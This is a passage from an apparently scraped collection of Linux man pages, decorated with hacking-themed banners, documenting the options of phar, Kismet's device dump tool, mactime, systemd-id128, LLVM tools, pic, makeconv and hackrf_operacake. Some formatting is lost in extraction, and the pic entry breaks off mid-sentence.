-p loader Location of PHP_Archive class file (pear list-files PHP_Archive).You can use ‘0’ or ‘1’ to locate it automatically using the mentioned pear command. When using ‘0’ the command does not error out when the class file cannot be located. This switch also adds some code around the stub so that class PHP_Archive gets registered as phar:// stream wrapper if necessary. And finally this switch will add the file phar.inc from this package and load it to ensure class Phar is present.

-s stub Select the stub file.

-x regex Regular expression for input files to exclude.

-y key Private key for OpenSSL signing.

sign command

Set signature hash algorithm.

Required arguments:

-f file Specifies the phar file to work on.

-h hash Selects the hash algorithm (see

HASH )

Optional arguments:

-y key Private key for OpenSSL signing.

stub-get command

Get the stub of a PHAR file. If no output file is specified as stub then stdout is being used.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-s stub Select the stub file.

stub-set command

Set the stub of a PHAR file. If no input file is specified as stub then stdin is being used.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-b bang Hash-bang line to start the archive (e.g. #!/usr/bin/php). The hash mark itself ‘#!’ and the newline character are optional.

-p loader Location of PHP_Archive class file (pear list-files PHP_Archive).You can use ‘0’ or ‘1’ to locate it automatically using the mentioned pear command. When using ‘0’ the command does not error out when the class file cannot be located. This switch also adds some code around the stub so that class PHP_Archive gets registered as phar:// stream wrapper if necessary. And finally this switch will add the file phar.inc from this package and load it to ensure class Phar is present.

-s stub Select the stub file.

tree command

Get a directory tree for a PHAR archive.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-i regex Specifies a regular expression for input files.

-x regex Regular expression for input files to exclude.

version command

Get information about the PHAR environment and the tool version.

COMPRESSION

Algorithms:

0 No compression

none No compression

auto Automatically select compression algorithm

gz GZip compression

gzip GZip compression

bz2 BZip2 compression

bzip2 BZip2 compression

HASH

Algorithms:

md5 MD5

sha1 SHA1

sha256 SHA256

sha512 SHA512

openssl OpenSSL using SHA-1

openssl_sha256 OpenSSL using SHA-256

openssl_sha512 OpenSSL using SHA-512

SEE ALSO

For a more or less complete description of PHAR look here:

http://php.net/phar

BUGS

You can view the list of known bugs or report any new bug you found at:

https://github.com/php/php-src/issues

AUTHORS

The PHP Group: Thies C. Arntzen, Stig Bakken, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski.

Work for the PHP archive was done by Gregory Beaver, Marcus Boerger.

A List of active developers can be found here:

http://www.php.net/credits.php

And last but not least PHP was developed with the help of a huge amount of contributors all around the world.

VERSION INFORMATION

This manpage describes phar, version 8.2.21.

COPYRIGHT

Copyright © The PHP Group

This source file is subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available through the world-wide-web at the following url:

https://www.php.net/license/3_01.txt

If you did not receive a copy of the PHP license and are unable to obtain it through the world-wide-web, please send a note to [email protected] so we can mail you a copy immediately.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

34 - Linux cli command kismetdb_dump_devices

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kismetdb_dump_devices and provides detailed information about the command kismetdb_dump_devices, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kismetdb_dump_devices.

NAME 🖥️ kismetdb_dump_devices 🖥️

simple tool for converting the device data from a KismetDB log file to a JSON log

SYNOPSIS

kismetdb_dump_devices [OPTION]

OPTIONS

-i, –in [filename]
Input kismetdb file

-o, –out [filename]
Output Wigle CSV file

-f, –force
Force writing to the target file, even if it exists.

-e, –ekjson
Write as ekjson records, one device per line, instead of as a complete JSON array.

-v, –verbose
Verbose output

-s, –skip-clean
Don’t clean (sql vacuum) input database

SEE ALSO

The full documentation for Kismet is maintained in a separate package kismet-docs. More information here: https://www.kismetwireless.net/docs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

35 - Linux cli command odfuserfield

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odfuserfield and provides detailed information about the command odfuserfield, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odfuserfield.

NAME 🖥️ odfuserfield 🖥️

List or change the user-field declarations in an ODF file

SYNOPSIS

odfuserfield [-l] [-L] [-x field…] [-X field…] [-s field:value…] [-o path] path

DESCRIPTION

Odfuserfield is a program that will list or change the user variable declarations in an OpenDocument file. There are two kinds of variables in OpenDocument. Simple variables can take different values at different positions, throughout a document. User variables have the same value throughout a document. Due to the latters global nature it is safe to change them with an external application.

Use odfuserfield to fill out form letters before printing or giving to the user.

“Path” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

OPTIONS

-l

List (extract) all known user-fields.

-L

List (extract) all known user-fields with type and value.

-x field

Extract the contents of this field from the file.

-X field

Same as -x, but also preserves/includes the field name and type.

-s field:value

Set the value of an existing user field. The field type will be the same.

-o path

Filename to write modified ODT file to. If no -o option is provided, the ODT file will be written to stdout.

EXAMPLE

odfuserfield -L odf-file

SEE ALSO

formail(1), id3tag(1)

TODO

Implement formulas. See OpenDocument v1.0 specification section 6.3.5. This requires a different syntax for -s arguments.

AUTHORS

Søren Roug

Original author

Michael Howitz
gocept gmbh & co. kg

Refactoring

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

36 - Linux cli command mactime

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mactime and provides detailed information about the command mactime, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mactime.

NAME 🖥️ mactime 🖥️

Create an ASCII time line of file activity

SYNOPSIS

mactime [-b body ] [-g group file ] [-p password file ] [-i (day|hour) index file ] [-dhmVy] [-z TIME_ZONE ] [DATE_RANGE]

DESCRIPTION

mactime creates an ASCII time line of file activity based on the body file specified by ‘-b’ or from STDIN. The time line is written to STDOUT. The body file must be in the time machine format that is created by ‘ils -m’, ‘fls -m’, or the mac-robber tool.

ARGUMENTS

-b body
Specify the location of a body file. This file must be generated by a tool such as ‘fls -m’ or ‘ils -m’. The ‘mac-robber’ and ‘grave-robber’ tools can also be used to generate the file.

-g group file
Specify the location of the group file. mactime will display the group name instead of the GID if this is given.

-p password file
Specify the location of the passwd file. mactime will display the user name instead of the UID of this is given.

-i day|hour index file
Specify the location of an index file to write to. The first argument specifies the granularity, either an hourly summary or daily. If the ‘-d’ flag is given, then the summary will be separated by a ‘,’ to import into a spread sheet.

-d
Display timeline and index files in comma delimited format. This is used to import the data into a spread sheet for presentations or graphs.

-h
Display header info about the session including time range, input source, and passwd or group files.

-V
Display version to STDOUT.

-m
The month is given as a number instead of name (does not work with -y).

-y
The date is displayed in ISO8601 format.

-z TIME_ZONE
The timezone from where the data was collected. The name of this argument is system dependent (examples include EST5EDT, GMT+1). Does not work with -y.

-z list
List valid timezones.

DATE_RANGE
The range of dates to make the time line for. The standard format is yyyy-mm-dd for a starting date and no ending date. For an ending date, use yyyy-mm-dd..yyyy-mm-dd. Date can contain time, use format yyyy-mm-ddThh:mm:ss for starting and/or ending date.

LICENSE

The changes from mactime in TCT and mac-daddy are distributed under the Common Public License, found in the cpl1.0.txt file in the The Sleuth Kit licenses directory.

HISTORY

A version of mactime first appeared in The Coroner’s Toolkit (TCT) (Dan Farmer) and later mac-daddy (Rob Lee).

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

37 - Linux cli command systemd-id128

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-id128 and provides detailed information about the command systemd-id128, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-id128.

NAME 🖥️ systemd-id128 🖥️

id128 - Generate and print sd-128 identifiers

SYNOPSIS

systemd-id128 [OPTIONS…] new

systemd-id128 [OPTIONS…] machine-id

systemd-id128 [OPTIONS…] boot-id

systemd-id128 [OPTIONS…] invocation-id

systemd-id128 [OPTIONS…] show [NAME|UUID…]

DESCRIPTION

id128 may be used to conveniently print sd-id128(3) UUIDs. What identifier is printed depends on the specific verb.

With new, a new random identifier will be generated.

With machine-id, the identifier of the current machine will be printed. See machine-id(5).

With boot-id, the identifier of the current boot will be printed.

With invocation-id, the identifier of the current service invocation will be printed. This is available in systemd services. See systemd.exec(5).

With show, well-known IDs are printed (for now, only GPT partition type UUIDs), along with brief identifier strings. When no arguments are specified, all known IDs are shown. When arguments are specified, they may be the identifiers or ID values of one or more known IDs, which are then printed with their name, or arbitrary IDs, which are then printed with a placeholder name. Combine with –uuid to list the IDs in UUID style, i.e. the way GPT partition type UUIDs are usually shown.

machine-id, boot-id, and show may be combined with the **–app-specific=**app-id switch to generate application-specific IDs. See sd_id128_get_machine(3) for the discussion when this is useful. Support for show –app-specific= was added in version 255.

OPTIONS

The following options are understood:

-p, –pretty

Generate output as programming language snippets.

Added in version 240.

-P, –value

Only print the value. May be combined with -u/–uuid.

Added in version 255.

-a app-id, **–app-specific=**app-id

With this option, identifiers will be printed that are the result of hashing the application identifier app-id and another ID. The app-id argument must be a valid sd-id128 string identifying the application. When used with machine-id, the other ID will be the machine ID as described in machine-id(5), when used with boot-id, the other ID will be the boot ID, and when used with show, the other ID or IDs should be specified via the positional arguments.

Added in version 240.

-u, –uuid

Generate output as a UUID formatted in the “canonical representation”, with five groups of digits separated by hyphens. See the Wikipedia entry for Universally Unique Identifiers[1] for more discussion.

Added in version 244.

–no-pager

Do not pipe output into a pager.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

**–json=**MODE

Shows output formatted as JSON. Expects one of “short” (for the shortest possible output without any redundant whitespace or line breaks), “pretty” (for a pretty version of the same, with indentation and line breaks) or “off” (to turn off JSON output, the default).

-j

Equivalent to –json=pretty if running on a terminal, and –json=short otherwise.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success 0 is returned, and a non-zero failure code otherwise.

EXAMPLES

Example 1. Show a well-known UUID

$ systemd-id128 show –value user-home 773f91ef66d449b5bd83d683bf40ad16

$ systemd-id128 show --value --uuid user-home
773f91ef-66d4-49b5-bd83-d683bf40ad16

$ systemd-id128 show 773f91ef-66d4-49b5-bd83-d683bf40ad16
NAME      ID
user-home 773f91ef66d449b5bd83d683bf40ad16

Example 2. Generate an application-specific UUID

$ systemd-id128 machine-id -u 3a9d668b-4db7-4939-8a4a-5e78a03bffb7

$ systemd-id128 new -u
1fb8f24b-02df-458d-9659-cc8ace68e28a

$ systemd-id128 machine-id -u -a 1fb8f24b-02df-458d-9659-cc8ace68e28a
47b82cb1-5339-43da-b2a6-1c350aef1bd1

$ systemd-id128 -Pu show 3a9d668b-4db7-4939-8a4a-5e78a03bffb7 \
    -a 1fb8f24b-02df-458d-9659-cc8ace68e28a
47b82cb1-5339-43da-b2a6-1c350aef1bd1

On a given machine with the ID 3a9d668b-4db7-4939-8a4a-5e78a03bffb7, for the application 1fb8f24b-02df-458d-9659-cc8ace68e28a, we generate an application-specific machine ID (47b82cb1-5339-43da-b2a6-1c350aef1bd1). If we want to later recreate the same calculation on a different machine, we need to specify both IDs explicitly as parameters to show.

SEE ALSO

systemd(1), sd-id128(3), sd_id128_get_machine(3)

NOTES

Universally Unique Identifiers

https://en.wikipedia.org/wiki/Universally_unique_identifier#Format

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

38 - Linux cli command llvm-mc-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-mc-16 and provides detailed information about the command llvm-mc-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-mc-16.

NAME 🖥️ llvm-mc-16 🖥️

mc - manual page for llvm-mc 16

DESCRIPTION

OVERVIEW: llvm machine code playground

USAGE: llvm-mc [options] <input file>

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

MC Options:

-I <directory> - Directory of include files

-M <string> - Disassembler options

–arch=<string> - Target arch to assemble for, see -version for available targets

Action to perform:

–as-lex - Lex tokens from a .s file

–assemble - Assemble a .s file (default)

–disassemble - Disassemble strings of hex bytes

–mdis - Marked up disassembly of strings of hex bytes

–compress-debug-sections=<value> - Choose DWARF debug sections compression:

=none
- No compression

=zlib
- Use zlib

=zstd
- Use zstd

–defsym=<string> - Defines a symbol to be an integer constant

–fdebug-compilation-dir=<string> - Specifies the debug info’s compilation dir

–fdebug-prefix-map=<= separated key-value pairs> - Map file source paths in debug info

–filetype=<value> - Choose an output file type:

=asm
- Emit an assembly (’.s’) file

=null
- Don’t emit anything (for timing purposes)

=obj
- Emit a native object (’.o’) file

-g - Generate dwarf debugging info for assembly source files

–large-code-model - Create cfi directives that assume the code might be more than 2gb away

–main-file-name=<string> - Specifies the name we should consider the input file

–masm-hexfloats - Enable MASM-style hex float initializers (3F800000r)

–masm-integers - Enable binary and hex masm integers (0b110 and 0ABCh)

–mattr=<a1,+a2,-a3,…> - Target specific attributes (-mattr=help for details)

–mcpu=<cpu-name> - Target a specific cpu type (-mcpu=help for details)

–motorola-integers - Enable binary and hex Motorola integers (%110 and $ABC)

-n - Don’t assume assembly file starts in the text section

–no-exec-stack - File doesn’t need an exec stack

-o <filename> - Output filename

–output-asm-variant=<uint> - Syntax variant to use for output printing

–position-independent - Position independent

–preserve-comments - Preserve Comments in outputted assembly

–print-imm-hex - Prefer hex format for immediate values

–relax-relocations - Emit R_X86_64_GOTPCRELX instead of R_X86_64_GOTPCREL

–save-temp-labels - Don’t discard temporary labels

–show-encoding - Show instruction encodings

–show-inst - Show internal instruction representation

–show-inst-operands - Show instructions operands as parsed

–split-dwarf-file=<filename> - DWO output filename

–triple=<string> - Target triple to assemble for, see -version for available targets

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

39 - Linux cli command pic

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pic and provides detailed information about the command pic, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pic.

Name

pic - compile pictures for troff or TeX

Synopsis

pic [-CnSU] [*file *. . .] pic -t [-cCSUz] [*file *. . .] pic –help pic -v pic –version

Description

The GNU implementation of pic is part of the

document formatting system. pic is a

preprocessor that translates descriptions of diagrammatic pictures embedded in

or TeX input files into the language understood by TeX or troff. It copies the contents of each file to the standard output stream, except that lines between .PS and any of .PE, .PF, or .PY are interpreted as picture descriptions in the pic language. End a pic picture with .PE to leave the drawing position at the bottom of the picture, and with .PF or .PY to leave it at the top. Normally, pic is not executed directly by the user, but invoked by specifying the -p option to

If no file operands are given on the command line, or if file is “-”, the standard input stream is read.

It is the user’s responsibility to provide appropriate definitions of the PS, PE, and one or both of the PF and PY macros. When a macro package does not supply these, obtain simple definitions with the groff option -mpic; these will center each picture.

GNU pic supports PY as a synonym of PF to work around a name space collision with the mm macro package, which defines PF as a page footer management macro. Use PF preferentially unless a similar problem faces your document.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-c
Be more compatible with tpic; implies -t. Lines beginning with ** are not passed through transparently. Lines beginning with . are passed through with the initial . changed to ****. A line beginning with .ps is given special treatment: it takes an optional integer argument specifying the line thickness (pen size) in milliinches; a missing argument restores the previous line thickness; the default line thickness is 8 milliinches. The line thickness thus specified takes effect only when a non-negative line thickness has not been specified by use of the thickness attribute or by setting the linethick variable.

-C
Recognize .PS, .PE, .PF, and .PY even when followed by a character other than space or newline.

-n
Don’t use groff extensions to the troff drawing commands. Specify this option if a postprocessor you’re using doesn’t support these extensions, described in

This option also causes pic not to use zero-length lines to draw dots in troff mode.

-S
Operate in safer mode; sh commands are ignored. This mode, enabled by default, can be useful when operating on untrustworthy input.

-t
Produce TeX output.

-U
Operate in unsafe mode; sh commands are interpreted.

-z
In TeX mode, draw dots using zero-length lines.

The following options supported by other versions of pic are ignored.

-D
Draw all lines using the \D escape sequence. GNU pic always does this.

**-T **dev
Generate output for the troff device dev. This is unnecessary because the troff output generated by GNU pic is device-independent.

Usage

This section primarily discusses the differences between GNU pic and the Eighth Edition Research Unix version of AT&T pic (1985). Many of these differences also apply to later versions of AT&T pic.

TeX mode

TeX-compatible output is produced when the -t option is specified. You must use a TeX driver that supports tpic version 2 specials. (tpic was a fork of AT&T pic by Tim Morgan of the University of California at Irvine that diverged from its source around 1984. It is best known today for lending its name to a group of \special commands it produced for TeX.)

Lines beginning with ** are passed through transparently; a % is added to the end of the line to avoid unwanted spaces. You can safely use this feature to change fonts or the value of aselineskip. Anything else may well produce undesirable results; use at your own risk. By default, lines beginning with a dot are not treated specially—but see the -c option.

In TeX mode, pic will define a vbox called \graph for each picture. Use GNU pic’s figname command to change the name of the vbox. You must print that vbox yourself using the command

40 - Linux cli command llvm-install-name-tool-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-install-name-tool-17 and provides detailed information about the command llvm-install-name-tool-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-install-name-tool-17.

NAME 🖥️ llvm-install-name-tool-17 🖥️

install-name-tool - LLVM tool for manipulating install-names and rpaths

SYNOPSIS

llvm-install-name-tool [options] input

DESCRIPTION

llvm-install-name-tool is a tool to manipulate dynamic shared library install names and rpaths listed in a Mach-O binary.

For most scenarios, it works as a drop-in replacement for Apple’s install_name_tool.

OPTIONS

At least one of the following options are required, and some options can be combined with other options. Options -add_rpath, -delete_rpath, and -rpath can be combined in an invocation only if they do not share the same <rpath> value.

-add_rpath <rpath>
Add an rpath named <rpath> to the specified binary. Can be specified multiple times to add multiple rpaths. Throws an error if <rpath> is already listed in the binary.

-change <old_install_name> <new_install_name>
Change an install name <old_install_name> to <new_install_name> in the specified binary. Can be specified multiple times to change multiple dependent shared library install names. Option is ignored if <old_install_name> is not listed in the specified binary.

-delete_rpath <rpath>
Delete an rpath named <rpath> from the specified binary. Can be specified multiple times to delete multiple rpaths. Throws an error if <rpath> is not listed in the binary.

-delete_all_rpaths
Deletes all rpaths from the binary.

–help, -h
Print a summary of command line options.

-id <name>
Change shared library’s identification name under LC_ID_DYLIB to <name> in the specified binary. If specified multiple times, only the last -id option is selected. Option is ignored if the specified Mach-O binary is not a dynamic shared library.

-rpath <old_rpath> <new_rpath>
Change an rpath named <old_rpath> to <new_rpath> in the specified binary. Can be specified multiple times to change multiple rpaths. Throws an error if <old_rpath> is not listed in the binary or <new_rpath> is already listed in the binary.

–version, -V
Display the version of the llvm-install-name-tool executable.

EXIT STATUS

llvm-install-name-tool exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objcopy/strip/>.

SEE ALSO

llvm-objcopy(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

41 - Linux cli command makeconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makeconv and provides detailed information about the command makeconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makeconv.

NAME 🖥️ makeconv 🖥️

compile a converter table

SYNOPSIS

makeconv [ -h, -?, –help ] [ -c, –copyright ] [ -v, –verbose ] [ -d, –destdir* destination* ] convertertable . . .

DESCRIPTION

makeconv converts the ICU converter table convertertable into a binary file. The binary file has the same base name as convertertable but has a .cnv extension (instead of the typical .ucm extension of the convertertable file). This binary file can then be read directly by ICU, or used by pkgdata(1) for incorporation into a larger archive or library.

The convertertable must be in the ICU ucm (Unicode Codepage Mapping) format in order to be understood by makeconv. The ICU ucm format is similar to the IBM NLTC upmap/tpmap/rpmap files. Comments in the convertertable are handled as follows. If a comment (starting with a `#’ sign) that is after some text does contain the fallback indicator `|’ then only the text starting with the `#’ sign, and ending before the `|’ sign, is ignored. Otherwise, or if the comment is the first thing on the line, the comment runs up to the end of the line. This special handling of comments is to accommodate the practice of putting fallback information in comments in the strict IBM NLTC ucmap format.

Note that new converters will be automatically found by ICU after their installation in ICU’s data directory. They do not need to be listed in the convrtrs.txt(5) converters aliases file in order to be available to applications using ICU. They do need to be listed there if one wants to give them aliases, or tags, though.

OPTIONS

-h, -?, –help
Print help about usage and exit.

-c, –copyright
Include a copyright notice in the binary data.

-v, –verbose
Display extra informative messages during execution.

-d, –destdir* destination*
Set the destination directory to destination. The default destination directory is specified by the environment variable ICU_DATA.

CAVEATS

If an existing converter table is changed and recompiled using makeconv, the resulting binary file must be packaged in the same way that it was packaged initially. For example, if converters were grouped together in an archive or a library with pkgdata(1), then the archive or library must be rebuilt with the new binary file. A standalone binary converter file will not take precedence over a packaged one.

ENVIRONMENT

ICU_DATA
Specifies the directory containing ICU data. Defaults to ${prefix}/share/icu/72.1/. Some tools in ICU depend on the presence of the trailing slash. It is thus important to make sure that it is present if ICU_DATA is set.

VERSION

72.1

COPYRIGHT

Copyright (C) 2000 IBM, Inc. and others.

SEE ALSO

convrtrs.txt(5)
pkgdata(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

42 - Linux cli command hackrf_operacake

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_operacake and provides detailed information about the command hackrf_operacake, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_operacake.

NAME 🖥️ hackrf_operacake 🖥️

control of operacake board via hackrf

DESCRIPTION

Usage:

-h, –help: this help

-d, –device <n>: specify a particular device by serial number

